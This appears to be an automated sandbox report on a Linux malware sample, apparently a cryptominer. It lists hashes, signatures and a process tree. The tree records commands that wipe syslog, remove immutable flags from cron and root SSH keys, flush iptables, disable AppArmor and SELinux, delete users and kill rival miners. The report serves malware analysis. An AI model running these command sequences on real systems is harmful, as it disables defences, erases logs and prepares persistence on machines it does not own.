Analysis
-
max time kernel
110s -
max time network
138s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
20-08-2024 08:26
Static task
static1
Behavioral task
behavioral1
Sample
ae82d283c9d196bcc0b7b8539f40d6e8_JaffaCakes118
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
ae82d283c9d196bcc0b7b8539f40d6e8_JaffaCakes118
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
ae82d283c9d196bcc0b7b8539f40d6e8_JaffaCakes118
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
ae82d283c9d196bcc0b7b8539f40d6e8_JaffaCakes118
Resource
debian9-mipsel-20240611-en
General
-
Target
ae82d283c9d196bcc0b7b8539f40d6e8_JaffaCakes118
-
Size
30KB
-
MD5
ae82d283c9d196bcc0b7b8539f40d6e8
-
SHA1
3ba79f0318344ea58c233706be999f1f786ef1fc
-
SHA256
44832ee8b46d8f32f5aaad9ee62e67a5b84af8516d0f8ef9f9052171b58ffa0e
-
SHA512
5e7ae874850938c1467bd481f4f2e3daceeca74fca796572a4a5b488cb880de428b4cf77c8fb8eaebbb0866d0d55c95d5cbacf53023ad1ff02e1332393768510
-
SSDEEP
384:p7pQBDf6jlpTWg3vMGQiirhHwMyGj4CC9vEKMvU/4Qdre21jT58vKpG2Y0orcfKs:p78zQ5VFNcDAFLcIwgnoYq0xFBVdHtXn
Malware Config
Signatures
-
Flushes firewall rules 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 723 iptables -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 1009 xargs 1838 xargs 2100 Process not Found 2160 Process not Found 971 xargs 1267 xargs 1342 xargs 1762 xargs 1820 xargs 867 xargs 1148 xargs 1441 xargs 1786 xargs 764 grep 861 xargs 1396 xargs 1744 xargs 783 xargs 976 xargs 1722 xargs 879 xargs 1073 xargs 1092 xargs 1173 xargs 1307 xargs 1832 xargs 750 chattr 1224 xargs 1626 xargs 1685 xargs 1140 xargs 1132 xargs 1680 xargs 801 xargs 1698 xargs 926 xargs 1651 xargs 1814 xargs 1636 xargs 1160 xargs 1239 xargs 1361 xargs 1806 xargs 1824 xargs 2144 Process not Found 936 xargs 1044 xargs 1124 xargs 1656 xargs 1726 xargs 1780 xargs 1784 xargs 1830 xargs 875 xargs 1155 xargs 1826 xargs 2080 Process not Found 1038 xargs 877 xargs 1272 xargs 1282 xargs 1287 xargs 1317 xargs 1822 xargs -
Creates/modifies Cron job 1 TTPs 41 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.QoaK61 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.rAUUQh Process not Found File opened for modification /var/spool/cron/crontabs/tmp.sl2mKh Process not Found File opened for modification /var/spool/cron/crontabs/tmp.ivUkAc Process not Found File opened for modification /var/spool/cron/crontabs/tmp.yCPyf2 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.xgmfox Process not Found File opened for modification /var/spool/cron/crontabs/tmp.jeKBRk Process not Found File opened for modification /var/spool/cron/crontabs/tmp.ba62pi Process not Found File opened for modification /var/spool/cron/crontabs/tmp.7wJ3Eo Process not Found File opened for modification /var/spool/cron/crontabs/tmp.QbuHgD Process not Found File opened for modification /var/spool/cron/crontabs/tmp.Auncdx Process not Found File opened for modification /var/spool/cron/crontabs/tmp.V4BNjH Process not Found File opened for modification /var/spool/cron/crontabs/tmp.z06uS5 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.gzFPo9 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.5WhQc1 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.xe9FUh Process not Found File opened for modification /var/spool/cron/crontabs/tmp.HD1QJZ Process not Found File opened for modification /var/spool/cron/crontabs/tmp.asZPKD Process not Found File opened for modification /var/spool/cron/crontabs/tmp.qL9sX2 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.3jwFH9 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.CYH2SD Process not Found File opened for modification /var/spool/cron/crontabs/tmp.Cl5FiF Process not Found File opened for modification /var/spool/cron/crontabs/tmp.B3eZns Process not Found File opened for modification /var/spool/cron/crontabs/tmp.poWCyR Process not Found File opened for modification /var/spool/cron/crontabs/tmp.yFmKli Process not Found File opened for modification /var/spool/cron/crontabs/tmp.I4BSpH Process not Found File opened for modification /var/spool/cron/crontabs/tmp.NhHSeS Process not Found File opened for modification /var/spool/cron/crontabs/tmp.9A4JwR Process not Found File opened for modification /var/spool/cron/crontabs/tmp.JPgHiB Process not Found File opened for modification /var/spool/cron/crontabs/tmp.4dzEUO Process not Found File opened for modification /var/spool/cron/crontabs/tmp.NOo3ci Process not Found File opened for modification /var/spool/cron/crontabs/tmp.mKvsHd Process not Found File opened for modification /var/spool/cron/crontabs/tmp.QyjtCg Process not Found File opened for modification /var/spool/cron/crontabs/tmp.6RVlXg Process not Found File opened for modification /var/spool/cron/crontabs/tmp.lwMvGi Process not Found File opened for modification /var/spool/cron/crontabs/tmp.muWTNt Process not Found File opened for modification /var/spool/cron/crontabs/tmp.QLt2uR Process not Found File opened for modification /var/spool/cron/crontabs/tmp.hFhvxV Process not Found File opened for modification /var/spool/cron/crontabs/tmp.uWz7EO Process not Found File opened for modification /var/spool/cron/crontabs/tmp.XFBeks Process not Found File opened for modification /var/spool/cron/crontabs/tmp.6KQAVc Process not Found -
Disables AppArmor 16 IoCs
Disables AppArmor security module.
pid Process 2174 Process not Found 2174 Process not Found 2173 Process not Found 2177 Process not Found 2174 Process not Found 2174 Process not Found 2166 Process not Found 2166 Process not Found 2166 Process not Found 2166 Process not Found 2181 Process not Found 2174 Process not Found 2174 Process not Found 2166 Process not Found 2166 Process not Found 2179 Process not Found -
Disables SELinux 1 IoCs
Disables SELinux security module.
pid Process 2165 Process not Found -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online exim4 File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Enumerates kernel/hardware configuration 1 TTPs 9 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/232/cmdline ps File opened for reading /proc/72/status pgrep File opened for reading /proc/389/cmdline ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/709/status ps File opened for reading /proc/331/cmdline ps File opened for reading /proc/337/cmdline ps File opened for reading /proc/76/cmdline ps File opened for reading /proc/110/cmdline ps File opened for reading /proc/9/stat ps File opened for reading /proc/1581/cmdline ps File opened for reading /proc/684/cmdline Process not Found File opened for reading /proc/127/status ps File opened for reading /proc/10/stat ps File opened for reading /proc/389/status pgrep File opened for reading /proc/75/cmdline pgrep File opened for reading /proc/710/cmdline ps File opened for reading /proc/4/stat ps File opened for reading /proc/684/cmdline pgrep File opened for reading /proc/154/cmdline pkill File opened for reading /proc/sys/kernel/osrelease Process not Found File opened for reading /proc/177/cmdline ps File opened for reading /proc/720/cmdline ps File opened for reading /proc/331/cmdline pgrep File opened for reading /proc/76/status pgrep File opened for reading /proc/73/stat ps File opened for reading /proc/20/status ps File opened for reading /proc/676/status pgrep File opened for reading /proc/8/stat ps File opened for reading /proc/15/status ps File opened for reading /proc/389/cmdline ps File opened for reading /proc/669/status pgrep File opened for reading /proc/389/cmdline ps File opened for reading /proc/110/cmdline Process not Found File opened for reading /proc/684/stat ps File opened for reading /proc/709/status ps File opened for reading /proc/1311/cmdline ps File opened for reading /proc/75/stat ps File opened for reading /proc/110/status Process not Found File opened for reading /proc/36/status Process not Found File opened for reading /proc/meminfo ps File opened for reading /proc/18/cmdline ps File opened for reading /proc/126/cmdline ps File opened for reading /proc/161/status Process not Found File opened for reading /proc/1123/cmdline ps File opened for reading /proc/self/stat ps File opened for reading /proc/20/cmdline ps File opened for reading /proc/339/stat ps File opened for reading /proc/80/status pgrep File opened for reading /proc/19/cmdline ps File opened for reading /proc/stat ps File opened for reading /proc/709/cmdline pgrep File opened for reading /proc/332/cmdline pgrep File opened for reading /proc/74/cmdline Process not Found File opened for reading /proc/19/status ps File opened for reading /proc/37/stat ps File opened for reading /proc/177/status ps File opened for reading /proc/37/cmdline ps File opened for reading /proc/682/status pgrep File opened for reading /proc/758/cmdline pkill File opened for reading /proc/17/cmdline ps File opened for reading /proc/707/cmdline ps File opened for reading /proc/110/status ps File opened for reading /proc/127/status pgrep -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/log_rot ae82d283c9d196bcc0b7b8539f40d6e8_JaffaCakes118
Processes
-
/tmp/ae82d283c9d196bcc0b7b8539f40d6e8_JaffaCakes118/tmp/ae82d283c9d196bcc0b7b8539f40d6e8_JaffaCakes1181⤵
- Writes file to tmp directory
PID:710 -
/bin/rmrm -rf /var/log/syslog2⤵PID:711
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:713
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:714
-
-
/usr/bin/chattrchattr -R -i /var/spool/cron2⤵PID:716
-
-
/usr/bin/chattrchattr -i /etc/crontab2⤵PID:718
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:723
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵PID:728
-
/usr/sbin/sendmailsendmail -t3⤵PID:740
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1sgIKa-0000Bw-Uc4⤵
- Reads CPU attributes
PID:755
-
-
-
/usr/sbin/sendmailsendmail -t3⤵PID:743
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1sgIKa-0000Bz-U94⤵PID:756
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵PID:745
-
-
-
/usr/sbin/userdeluserdel akay2⤵PID:746
-
-
/usr/sbin/userdeluserdel vfinder2⤵PID:749
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵
- Attempts to change immutable files
PID:750
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:752
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:754
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:757
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:759
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:761
-
-
/bin/psps aux2⤵PID:760
-
-
/bin/grepgrep -i "[y]unjing"2⤵
- Attempts to change immutable files
PID:764
-
-
/bin/psps aux2⤵PID:763
-
-
/bin/grepgrep 185.71.65.2382⤵PID:768
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:770
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:769
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:771
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:776
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:775
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:774
-
-
/bin/grepgrep 140.82.52.872⤵PID:773
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:783
-
-
/bin/grepgrep -v -2⤵PID:782
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:781
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:780
-
-
/bin/grepgrep :1432⤵PID:779
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:789
-
-
/bin/grepgrep -v -2⤵PID:788
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:787
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:786
-
-
/bin/grepgrep :22222⤵PID:785
-
-
/bin/grepgrep -v -2⤵PID:794
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:795
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:793
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:792
-
-
/bin/grepgrep :33332⤵PID:791
-
-
/bin/grepgrep -v -2⤵PID:800
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:799
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:801
-
-
/bin/grepgrep :33892⤵PID:797
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:798
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:807
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:805
-
-
/bin/grepgrep -v -2⤵PID:806
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:804
-
-
/bin/grepgrep :44442⤵PID:803
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:813
-
-
/bin/grepgrep -v -2⤵PID:812
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:811
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:810
-
-
/bin/grepgrep :55552⤵PID:809
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:819
-
-
/bin/grepgrep -v -2⤵PID:818
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:817
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:816
-
-
/bin/grepgrep :66662⤵PID:815
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:825
-
-
/bin/grepgrep -v -2⤵PID:824
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:823
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:822
-
-
/bin/grepgrep :66652⤵PID:821
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:831
-
-
/bin/grepgrep -v -2⤵PID:830
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:829
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:828
-
-
/bin/grepgrep :66672⤵PID:827
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:837
-
-
/bin/grepgrep -v -2⤵PID:836
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:835
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:834
-
-
/bin/grepgrep :77772⤵PID:833
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:843
-
-
/bin/grepgrep -v -2⤵PID:842
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:841
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:840
-
-
/bin/grepgrep :84442⤵PID:839
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:849
-
-
/bin/grepgrep -v -2⤵PID:848
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:847
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:846
-
-
/bin/grepgrep :33472⤵PID:845
-
-
/bin/grepgrep -v -2⤵PID:854
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:855
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:853
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:852
-
-
/bin/grepgrep :144442⤵PID:851
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:858
-
-
/bin/grepgrep :144332⤵PID:857
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:859
-
-
/bin/grepgrep -v -2⤵PID:860
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:861
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:867
-
-
/bin/grepgrep -v -2⤵PID:866
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:865
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:864
-
-
/bin/grepgrep :135312⤵PID:863
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:869
-
-
/bin/catcat /tmp/.X11-unix/012⤵PID:868
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:871
-
-
/bin/catcat /tmp/.X11-unix/112⤵PID:870
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:873
-
-
/bin/catcat /tmp/.X11-unix/222⤵PID:872
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:875
-
-
/bin/catcat /tmp/.pg_stat.02⤵PID:874
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:877
-
-
/bin/catcat /tmp/.pg_stat.12⤵PID:876
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:879
-
-
/bin/catcat /data/./oka.pid2⤵PID:878
-
-
/usr/bin/pkillpkill -f zsvc2⤵PID:880
-
-
/usr/bin/pkillpkill -f pdefenderd2⤵
- Reads CPU attributes
- Reads runtime system information
PID:881
-
-
/usr/bin/pkillpkill -f updatecheckerd2⤵PID:882
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:887
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:886
-
-
/bin/grepgrep -v grep2⤵PID:885
-
-
/bin/grepgrep ./oka2⤵PID:884
-
-
/bin/psps aux2⤵PID:883
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:892
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:891
-
-
/bin/grepgrep -v grep2⤵PID:890
-
-
/bin/grepgrep "postgres: autovacum"2⤵PID:889
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:888
-
-
/bin/grepgrep -v "("2⤵PID:897
-
-
/bin/grepgrep -v "\\["2⤵PID:896
-
-
/bin/grepgrep -v bin2⤵PID:895
-
-
/bin/grepgrep -v php-fpm2⤵PID:898
-
-
/bin/grepgrep -v proxymap2⤵PID:899
-
-
/usr/bin/awkawk "length(\$1) == 8"2⤵PID:894
-
-
/bin/grepgrep -v postgres2⤵PID:900
-
-
/bin/psps ax -o "command,pid" -www2⤵
- Reads runtime system information
PID:893
-
-
/bin/grepgrep -v postgrey2⤵PID:901
-
-
/bin/grepgrep -v kinsing2⤵PID:902
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:903
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:904
-
-
/bin/grepgrep -v proxymap2⤵PID:911
-
-
/bin/grepgrep -v postgres2⤵PID:912
-
-
/bin/grepgrep -v postgrey2⤵PID:913
-
-
/bin/grepgrep -v php-fpm2⤵PID:910
-
-
/bin/grepgrep -v "("2⤵PID:909
-
-
/bin/grepgrep -v "\\["2⤵PID:908
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:914
-
-
/bin/grepgrep -v bin2⤵PID:907
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:915
-
-
/usr/bin/awkawk "length(\$1) == 16"2⤵PID:906
-
-
/bin/psps ax -o "command,pid" -www2⤵
- Reads runtime system information
PID:905
-
-
/bin/grepgrep -v proxymap2⤵PID:922
-
-
/bin/grepgrep -v postgrey2⤵PID:924
-
-
/bin/grepgrep -v postgres2⤵PID:923
-
-
/bin/grepgrep -v php-fpm2⤵PID:921
-
-
/bin/grepgrep -v "("2⤵PID:920
-
-
/bin/grepgrep -v "\\["2⤵PID:919
-
-
/bin/grepgrep -v bin2⤵PID:918
-
-
/usr/bin/awkawk "{print \$1}"2⤵PID:925
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:926
-
-
/usr/bin/awkawk "length(\$5) == 8"2⤵PID:917
-
-
/bin/psps ax2⤵
- Reads CPU attributes
PID:916
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:931
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:930
-
-
/bin/grepgrep /tmp/sscks2⤵PID:929
-
-
/bin/grepgrep -v grep2⤵PID:928
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:927
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:936
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:935
-
-
/bin/grepgrep -v grep2⤵PID:934
-
-
/bin/grepgrep "sleep 60"2⤵PID:933
-
-
/bin/psps aux2⤵PID:932
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:941
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:940
-
-
/bin/grepgrep -v grep2⤵PID:939
-
-
/bin/grepgrep ./crun2⤵PID:938
-
-
/bin/psps aux2⤵PID:937
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:946
-
-
/usr/bin/awkawk "{if(\$3>80.0) print \$2}"2⤵PID:945
-
-
/bin/grepgrep -v grep2⤵PID:944
-
-
/bin/grepgrep -vw kdevtmpfsi2⤵PID:943
-
-
/bin/psps aux2⤵PID:942
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:951
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:950
-
-
/bin/grepgrep :33332⤵PID:949
-
-
/bin/grepgrep -v grep2⤵PID:948
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:947
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:956
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:955
-
-
/bin/grepgrep :55552⤵PID:954
-
-
/bin/grepgrep -v grep2⤵PID:953
-
-
/bin/psps aux2⤵PID:952
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:961
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:960
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:959
-
-
/bin/grepgrep -v grep2⤵PID:958
-
-
/bin/psps aux2⤵PID:957
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:965
-
-
/bin/grepgrep log_2⤵PID:964
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:966
-
-
/bin/grepgrep -v grep2⤵PID:963
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:962
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:971
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:970
-
-
/bin/grepgrep systemten2⤵PID:969
-
-
/bin/grepgrep -v grep2⤵PID:968
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:967
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:976 -
/usr/local/sbin/killkill -9 103⤵PID:977
-
-
/usr/local/bin/killkill -9 103⤵PID:977
-
-
/usr/sbin/killkill -9 103⤵PID:977
-
-
/usr/bin/killkill -9 103⤵PID:977
-
-
/sbin/killkill -9 103⤵PID:977
-
-
/bin/killkill -9 103⤵PID:977
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:975
-
-
/bin/grepgrep netns2⤵PID:974
-
-
/bin/grepgrep -v grep2⤵PID:973
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:972
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:982
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:981
-
-
/bin/grepgrep voltuned2⤵PID:980
-
-
/bin/grepgrep -v grep2⤵PID:979
-
-
/bin/psps aux2⤵PID:978
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:987
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:986
-
-
/bin/grepgrep darwin2⤵PID:985
-
-
/bin/grepgrep -v grep2⤵PID:984
-
-
/bin/psps aux2⤵PID:983
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:992
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:991
-
-
/bin/grepgrep /tmp/dl2⤵PID:990
-
-
/bin/grepgrep -v grep2⤵PID:989
-
-
/bin/psps aux2⤵PID:988
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:997
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:996
-
-
/bin/grepgrep /tmp/ddg2⤵PID:995
-
-
/bin/grepgrep -v grep2⤵PID:994
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:993
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1002
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1000
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1001
-
-
/bin/grepgrep -v grep2⤵PID:999
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:998
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1009
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1008
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1007
-
-
/bin/grepgrep -v grep2⤵PID:1006
-
-
/bin/psps aux2⤵PID:1005
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1016
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1015
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1014
-
-
/bin/grepgrep -v grep2⤵PID:1013
-
-
/bin/psps aux2⤵PID:1012
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1023
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1022
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1021
-
-
/bin/grepgrep -v grep2⤵PID:1020
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1019
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1029
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1028
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1027
-
-
/bin/grepgrep -v grep2⤵PID:1026
-
-
/bin/psps aux2⤵PID:1025
-
-
